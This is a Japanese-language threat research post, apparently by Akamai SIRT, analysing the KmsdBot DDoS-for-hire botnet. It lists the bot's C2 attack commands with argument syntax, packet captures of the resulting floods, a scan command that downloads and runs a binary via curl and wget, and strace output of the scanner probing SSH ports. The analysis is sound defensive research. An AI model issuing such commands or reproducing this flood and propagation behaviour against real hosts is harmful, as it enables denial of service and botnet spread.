KmsdBot のコマンド & コントロールをエミュレートして攻撃トラフィックを調査する
編集・協力 by Tricia Howard
エグゼクティブサマリー
Akamai の研究者たちは、クリプトマイニング ボットネットの KmsdBot のリサーチを進め、その攻撃トラフィックを調査してきました。
標的とされた業界とその地域が多岐にわたることから、私たちは KmsdBot が分散型サービス妨害(DDoS)攻撃請負サービスによるものであると考えています。
IP とドメインを調べたところ、被害の大半はアジア、北米、ヨーロッパで発生していました。
注目すべき 2 つの標的は、ゲーム「グランド・セフト・オート V」と「レッド・デッド・リデンプション 2」の MOD 製作プラットフォームである FiveM と RedM でした。その情報から私たちは、このボットネットの顧客に関する知見を得ることができました。
私たちはボットネットの発生源を確認できていませんが、ロシアとその周辺地域での活動が見られないという興味深い状況から、そこが発祥の地である可能性が示されています。
概要
昨年 11 月、あるクリプトマイニングボットネットが当社のハニーポットの 1 つで捕捉されました。当社の Security Intelligence Response Team(SIRT)は、これを分析し、 KmsdBot と名付けました。KmsdBot は新しい構成を試したあと、ハニーポットに感染しています。そこには興味深い攻撃元が認められました。私たちは KmsdBot の分析を続け、バイナリを変更して当社のコマンド & コントロール(C2)に仕向けるなどの操作を行いました。すると、攻撃者が ボットネットをクラッシュさせる場面を目撃しました。
私たちが現在行っている調査の一環として、KmsdBot が受信し、実際に実行するさまざまなコマンドを文書にまとめることにしました。当社のテスト環境では、C2 を経由し、攻撃トラフィックを特定のホストに送信することができます。つまり、さまざまな攻撃コマンドから送信されたトラフィックを調べることができるのです。参考までに、このボットは TCP、UDP、HTTP、HTTPS を使用した GET および POST リクエストにより、レイヤー 4 および レイヤー 7 攻撃を行っています。
最初の分析
このマルウェアを分析し、「move absolute」命令を検索することにより、いくつかのコマンド文字列を発見することができました(図 1)。
データをレジスタにロードするために使用する他の命令を調べると、さらに多くのコマンドが見つかりました。この際の命令は、lea(load effective address)でした(図 2)。そこから、C2 サーバーの文字列の位置の変化を分析することができました(図 3)。
攻撃トラフィックの分析
攻撃トラフィックの tcpdump を調べると、使用可能なコマンドのいくつかは完全には実行されておらず、代わりにデフォルトまたは空のパケットを送信していました。これらの未実行のコマンドのほとんどは、機能する UDP コマンドの TCP バージョンです。機能しているコマンドについては、独自の攻撃パターンを複数観察しています。
注目される最初の攻撃は「bigdata」と呼ばれるもので、特定のポートに 1 Mb の POST リクエストを送信します。Content-Type のヘッダーは、ペイロードが URL エンコードされていることを示しています。しかし、調べるとそれはジャンクであることがわかりました。この攻撃の目的は、各リクエストのボディ部に大量のデータを含めて送信し、各パケットがリクエストの処理に必要とする帯域幅を増加させることです。これは、ほとんどすべての DDoS 攻撃で採用される非常に基本的な機能です。私たちの調査から、このボットネットでも最も多く用いられていることがわかっています。
!bigdata <target> 22 600 3
20:45:31.121974 IP <infected>.51214 > <target>.80: Flags [P.], seq 7241:14481, ack 1, win 502, options [nop,nop,TS val 931669114 ecr 1577041762], length 7240: HTTP
E..|..@.@.Y..*G..*G(...P.^.&.).O.....
.....
7.$z]..b18uSfkWchTJkErN0hFunGPegITykuWPbcVUI30GnUv8MGHSWRr0txvItdKFnUcKWCmftyrshUkDqNWgKqN1sHPlZUwSm2JQ3a8T0YCJsZZdIZ4ygppFITi6tGicpEM11paeEQcSmLPzCHY6VVN7Yd7zl58GShIvCVKdubLJBS64pvpYql5SWGZpv9TIOie9abaoY1h8NXy.
.
.
5Y29QAAzIKaiY9Nixq2IlfWn9iirDg9Bdhi4VPNFeff3QLoL5CEoOy0YPrEv4c6FiqrbmsbSiUpw4dVtYqOWZF1lLHtbXTPPlcZWTFlCmpvThwrNetuKdnYUpIVrINryurKdCfeLbNOM7oJ2duL33R7k2TXO2NvIqWdtBNd4PqboRthW0fxCcB5
調査では、 !bigdataに加え、 !tcpbigdata および !udpbigdataも確認されました。これらのコマンドが送信するペイロードはそれほど大きくはなく、その実態は、SYN パケットと UDP パケットです。それらの機能は、標準の bigdata と同様に、パケットサイズを大きくすることで、それらのパケットがサーバーに与える負荷を増大させるとともに、SYN トラフィックと UDP トラフィックを選択する制御も行います。
SYN フラッドを利用すると、攻撃者は TCP プロトコルで使用される 3 ウェイハンドシェイクを悪用して、数多くのポート上で半オープンの接続を確立できるようになります。それにより、標的のサーバーが大量のトラフィックの処理に手間取るようになるとともに、接続リクエストが正当なものか、悪性なものかの判別も難しくなります。UDP 攻撃では、3 ウェイハンドシェイクを必要としないため、攻撃者側のオーバーヘッドが小さく、標的への攻撃が容易になります。標的側が適切にレート制限を行わない場合、少ない攻撃リソースで効果的に攻撃を行うことができます。
!udpbigdata <target> 223 120
14:34:03.823443 IP <infected>.44790 > <target>.80: UDP, length 541
E..9c.@.@..R.*G..*G(...P.%.."..y.A.>.9..)S^2...c.R.G.i~i%....=t..}8MRuu(.'a.%.b..n.~....p.....v./....8..C...53*.v.."{.-...Xc.GG....5B....Y....I.., rC;.5C... .V`..A.....R..|.M..?.uLq/Je6~..O..w..........;.xH.K'..s.l>.p|..f.O..,Z..C...W.f.^..}@.y..a=.2l... j..w{J..7...z.L....A..Puv1.......s*@.\......~.3.....[:...............7rm...=........4.gR..%....[.t,7..M.0......_........O..~ )rTdW...X.-.Jw.(.8..D5Q..S....OC.oz..u8..8.e...E:i.X.....+c.
.........hA[{|;Y.R.d..r!.H..8....Y....$.w.......Uc..:!.X=.fC...1.Gn...[so..{N3&..h.3.....G...2...g..@.?...xGQ<..r..*...._.7T.j..
パケットサイズが与える影響に注目する代わりに、通常のパケットのサイズとフォーマットに似せて通常のトラフィックに紛れ込む標準の HTTP POST および GET トラフィックコマンドも存在していました。HTTP ベースの攻撃の典型的な狙いは、大量のパケットを通常のアクティビティと見分けがつかないようにして、攻撃対応時のフィルタリングを難しくすることです。以下に見るように、これらのパケットは一般的なパケットと非常によく似ています。
!post <target> 443 /fle/tracking 120 20 20 100
21:16:50.755007 IP <infected>.44466 > <target>.443: Flags [S], seq 203292974, win 64240, options [mss 1460,sackOK,TS val 933548747 ecr 0,nop,wscale 7], length 0
E..<..@.@....*G..*G(...........................
7...........
21:16:50.755031 IP <target>.443 > <infected>.44466: Flags [R.], seq 0, ack 203292975, win 0, length 0
E..(..@.@.T5.*G(.*G............/P....{..
!get <target> 443 /fle/tracking 30 20 20 100
21:24:23.088733 IP <infected>.48062 > <target>.443: Flags [S], seq 646433585, win 64240, options [mss 1460,sackOK,TS val 934001081 ecr 0,nop,wscale 7], length 0
E..<Ol@.@....*G..*G(....&..1...................
7...........
21:24:23.088751 IP <target>.443 > <infected>.48062: Flags [R.], seq 0, ack 646433586, win 0, length 0
HEX コマンド(!udphex および !tcphex)には、小さいサイズの HEX エンコードされたコンテンツが含まれています。この理由として、一部のホストでは、コマンドを処理するためには、コンテンツが HEX エンコードされている必要があること、あるいは標的とするサーバーが内部のデータを理解しにくくすることを意図している可能性があります。
!udphex <target> 80 80 30 250
21:04:06.915036 IP <infected>.32847 > <target>.80: UDP, length 31
E..;~.@.@..j.*G..*G(.O.P.'......\.j/.....R.u.a..6.J..1.:..$
udphex/ tcphex コマンドはサイズに注目していませんが、 tcphexclimb/udphexclimb コマンドは、この手法を取り入れているようです。各コマンドは、1 つのパケットに含まれて送信されます。これらのコマンドでは、最初のパケットサイズは udphex および tcphex のトラフィックのように小型ですが、送信の都度大きくなります。このトラフィックをしばらく観察すると、ある特定のパケットサイズに到達すると、小さいサイズに戻り、また大きくなっていくというプロセスを何度も繰り返していることがわかりました。
!udphexclimb <target> 80 60 600
21:38:53.854411 IP <infected>.50706 > <target>.80: UDP, length 1
E...o2@.@....*G..*G(...P. ...
21:38:53.854482 IP <infected>.55293 > <target>.80: UDP, length 181
E.....@.@.os.*G..*G(...P...i............A.>.....;.\...,...R...Z......2.c.....RG.<.`.%9....z....4=.W.:..+.!WA..6j..t.<..m...O /.z3.......]w<.BX..D...Da....SV3ZC...../...x[g......).....D.vP9K7<.`.Sz.=U..3....`f.
21:38:53.867809 IP <infected>.46227 > <target>.80: UDP, length 541
E..9z.@.@....*G..*G(...P.%..em.D..'...A&./wb.
...1
....ESG.v.\S..5.....W.....J.C.>_a..{.B.........Z.......a........_{#nG%...SD.....x`q.p..^~......w@.&.~.&M..l.x.@.h..
...,....q0!......NN~......vf.}<Z.[...-.XS...%.......5......JP(>/...Z..t.........9.`..N*..o..T..z.....h ..F .-.....rat./.VQ.z.....C...}.....2..?`..H...ty.bd[.3.XN.ne.. ..e....r.|..Z'..!ge....]./s..,.{v.n..01.;..R[..~..o.Ze.tP.Rs..x.07fL.Fh.p.5.....I...4..YO..d....#.7Q03.)7.>.o...:T\naG//.....a."...e.g.(.ih.5@...c-...e.EEd..B.qM..}U./
..?H{......"<L>...#.....$.....>".X...!n........bPM.09....\6n.....0.
21:38:53.875122 IP <infected>.41308 > <target>.80: UDP, length 541
E..9.+@.@.w..*G..*G(.\.P.%......[..........:..tZn...812/...8.h5....6.,`....&..4.Un..H(....k.Sex.C.m.# ...].2b(........>.n.h.... .U....Y.[.UG.k.9..\l.."qe.76..lvkf..c...~.NrM..(m?<.F...>5/J9N...SK3.....1....G....)`...c..G..=...............:......#.n...........:..) .n.<. .....%..ja..|.P.(........h6.vEQ..sV.....z VSr....h....... ....1xO...1.C.{..NDX2...5,R}F.Sv.mm@....5...Ss..V.j~a..k9....".3..T&B.*......=....r.
..I.3.q.u.1.
..9t...+...D..?z.D...Lu...oA....%V....#+:...z..&.GVQ..{.......6.dQ.".x...(ch....\......%.. x.d.....U#........ ...f..u...%1..\m.A. .`:B....;....
特定の 2 つのコマンドは、ビデオゲームの MOD サーバーを標的としている点で注目されました。私たちの最初の投稿では、最初に KmsdBot を確認したのは FiveM 内であったことを説明しました。FiveM と RedM はそれぞれ、「グランド・セフト・オート V」および「レッド・デッド・リデンプション 2」の MOD サーバーをホストするプラットフォームです。それらは、サーバーのオーナーがスタンドアロン版のゲームにはなかったルールを作成し、新しいアイデアをサーバーに組み込むことを可能にします。
これら 2 つのコマンドの存在は、このマルウェアが DDoS 請負サービスの一形態なのではないかという疑いを裏付けるものです。この説は、標的となった業種がゲーム、高級ブランド、さらにはセキュリティ企業などと多岐にわたっていることからも立証されます。
!redm <target> 7777 / 10 10 10 100
21:39:42.156933 IP <infected>.32991 > <target>.80: UDP, length 1
E...u.@.@..o.*G..*G(...P. ...
21:39:42.159173 IP <infected>.51973 > <target>.80: UDP, length 1
E...f.@.@....*G..*G(...P. ..}
21:39:42.199900 IP <infected>.50248 > <target>.80: UDP, length 541
E..9..@.@.d[.*G..*G(.H.P.%..U.~.
'..K....h._ig.o..u+Z^....B+E.9.............../.......S.m.....:.....7.U..Ys)../..........i4#..P...?...D...2e.E....]wo...-.....$.
.FG"..(./..L. ....).......q.l[..R&..A..)._..U.9O..jK<./..W'gSL.."g
i....N.b.a.../...Jq.....S..... .e.e.b.-..<..Q.#.Nr.,u..!L....8.T..NN.. ....v.........b......2oz....Y.p...=#.0c.O..)...^.U.fOy..Y#.:V..U.!..4D.......b..i.....+.w....u...5.*..r.....(.u....!....cfZ...Lw.pY.p.......I.{T...)B..n...w.4_...q.3.9.L..2.X.f...f.....\t...^)...Y....'../Kl......Bm.,8@.......<.`CR....=
..1.`.....$#.9.Q..0.%~.. ..d...iw
21:39:42.208292 IP <infected>.60098 > <target>.80: UDP, length 1
E....A@.@....*G..*G(...P. …
このボットネットで使用される非常にユニークなコマンドが !scan です。このスキャン機能は、標的の環境内の特定のパスをターゲットとして、3 ウェイハンドシェイクを行い、curl の PUSH リクエストと wget の PUSH リクエストを送信しているようでした。また、2 つのバイナリ kumd と kmsdを実行していました。
!scan <target> <target>/win/kzmds <target> kumd kmsd
15:57:58.460042 IP <infected>.51782 > <target>.80: Flags [S], seq 243112026, win 64240, options [mss 1460,sackOK,TS val 1864816453 ecr 0,nop,wscale 7], length 0
E..<..@.@..;.*G..*G(.F.P.}.Z...................
o&.E........
15:57:58.460085 IP <target>.80 > <infected>.51782: Flags [S.], seq 2021013353, ack 243112027, win 65160, options [mss 1460,sackOK,TS val 2510189102 ecr 1864816453,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.Fxv7i.}.[...............
..r.o&.E....
15:57:58.460097 IP <infected>.51782 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 0
E..4..@.@..B.*G..*G(.F.P.}.[xv7j...........
o&.E..r.
15:57:58.460281 IP <infected>.51782 > <target>.80: Flags [P.], seq 1:89, ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 88: HTTP: GET /x86_64/ksmdx HTTP/1.1
E.....@.@....*G..*G(.F.P.}.[xv7j...........
o&.E..r.GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: curl/7.86.0
Accept: */*
15:58:04.444745 IP <infected>.41264 > <target>.80: Flags [S], seq 148305932, win 64240, options [mss 1460,sackOK,TS val 1864822437 ecr 0,nop,wscale 7], length 0
E..<k3@.@....*G..*G(.0.P.......................
o&..........
15:58:04.444793 IP <target>.80 > <infected>.41264: Flags [S.], seq 3903795483, ack 148305933, win 65160, options [mss 1460,sackOK,TS val 2510195086 ecr 1864822437,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.0..1....................
....o&......
15:58:04.444807 IP <infected>.41264 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 0
E..4k4@.@....*G..*G(.0.P......1............
o&......
15:58:04.444992 IP <infected>.41264 > <target>.80: Flags [P.], seq 1:140, ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 139: HTTP: GET /x86_64/ksmdx HTTP/1.1
E...k5@.@..h.*G..*G(.0.P......1......L.....
o&......GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
私たちは kmsd が「/x86_64/ksmdx」を実行していることを確認し、これらのパラメーターを ksmdx バイナリで使用するとどうなるかを試してみました。すると、ポート 22 をオープンにしたまま IP のスキャンが開始されたため、その目的がウイルス感染させて、ボットネットに組み込むデバイスを探すことであるという疑いが強まりました。
strace -f ./ksmdx <target> <target>/win/kzmds <target> kumd kmsd
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 28
[pid 4554] connect(28, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("254.105.206.15")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 28, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497619288, u64=140327669114200}}) = 0
[pid 4554] epoll_ctl(4, EPOLL_CTL_DEL, 30, 0xc0001af594) = 0
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("227.46.34.129")}, 16) = -1 ENETUNREACH (Network is unreachable)
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("121.149.127.161")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 30, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497326296, u64=140327668821208}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1056
[pid 4554] connect(1056, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("252.117.241.5")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1056, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497346936, u64=140327668841848}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1057
[pid 4554] connect(1057, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("175.81.51.242")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1057, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497610168, u64=140327669105080}}^Cstrace: Process 4554 detached
<detached ...>
地理的情報
攻撃コマンドの調査のほかにも、私たちが観測したターゲットの IP とドメインを地理的な位置にマッピングすることに成功しました。すると、ターゲットの多くが、アジア、北米、ヨーロッパに集中していることがわかりました。
ロシアとその近隣諸国に対する攻撃活動が著しく少なかったことは、真の攻撃者を特定するうえで有意な指標となる可能性があります。図 4 の各マーカーは、KmsdBot による攻撃が 1 回以上行われたことを示しています。
C2 コマンドの追跡
私たちの最初の取り組みは、C2 サーバーからのアクティビティを観察することでした。まず、感染したホストとしてボットネットに入り込み、攻撃コマンドが C2 サーバーから送信されるのを待ちました。これらの攻撃コマンドを Elastic を用いてログ収集し、コマンド、ターゲット、タイムスタンプなどの変数を記録しました。
これにより、どのような攻撃機能が用いられたかを確認できただけでなく、被害の拡大状況や、各コマンドの使用意図を正確に把握することもできました。このプロセスから、以下の 18 のコマンドが抽出されました。
post
post1
get
get1
bigdata
fivem
getrand
redm
tcp
tcpbigdata
tcpclimb
tcphex
tcphexclimb
udp
udpbigdata
udphex
udphexclimb
Scan
これらのコマンド名を見ていてすぐに気づいたのは、一部のコマンドは特異的であることと、あらゆる種類がサポートされていることでした。たとえば「bigdata」コマンドは、単独の機能としてだけでなく、TCP バージョンと UDP バージョンも提供されていました。ほかのコマンドについても、多くは同じように提供されていました。
さらに重要な発見として、特定のゲームサーバーを標的としたコマンド「fivem」と「redm」があります。これらのコマンドの存在は、標的とされたゲームサーバーに関するこれまでの観察結果を裏付けるもので、このボットネットの請負業者の顧客の正体を垣間見ることができます。
図 5 は、30 日間に観測された攻撃コマンドの内訳と、その確認頻度を示しています。
最も多かったのは、70 回以上の「bigdata」コマンドと「get」コマンドです。これらはおそらく最も影響力の大きい一般的な攻撃なのでしょう。3 番目は「fivem」で約 45 回でした。この結果は、ゲームサーバーがターゲットとされているものの、これらの攻撃の対象となる唯一の業界ではない可能性を示唆しています。
FiveM コマンドは現在も多く使用されており、RedM コマンドもまだ使用されています。しかし、使用されているコマンドの頻度から、被害者のポートフォリオが非常に多様であると私たちは結論付けています。複数の種類のサーバーに対応することで、このボットネットの全般的な利用しやすさが向上し、顧客の誘引に効果を発揮しているのでしょう。
結論
私たちが KmsdBot の分析を始めると、Go で書かれていること、クリプトマイニングの機能があること、ターゲットに一貫性がないことなど、いくつか注目すべき点があり、興味を惹かれました。さらに分析を進めると、「サービスとしての DDoS」の提供者であることを示す証拠が見つかり、これによって興味深い事実の多くが解明されました。
Akamai SIRT の任務の 1 つは、KmsdBot のようなボットネットの進化を調査して文書化し、その結果を皆さまに開示することです。KmsdBot には、私たちがこれまで見てきた全般的な傾向と共通する点がいくつかあります。特に記述言語については一致が見られます。
悪性コードを Go やコンパイルされた Python などの異なる言語で開発することはより一般的になってます。SIRT は今後も脅威の変化や傾向を監視し、その動向に注目していきます。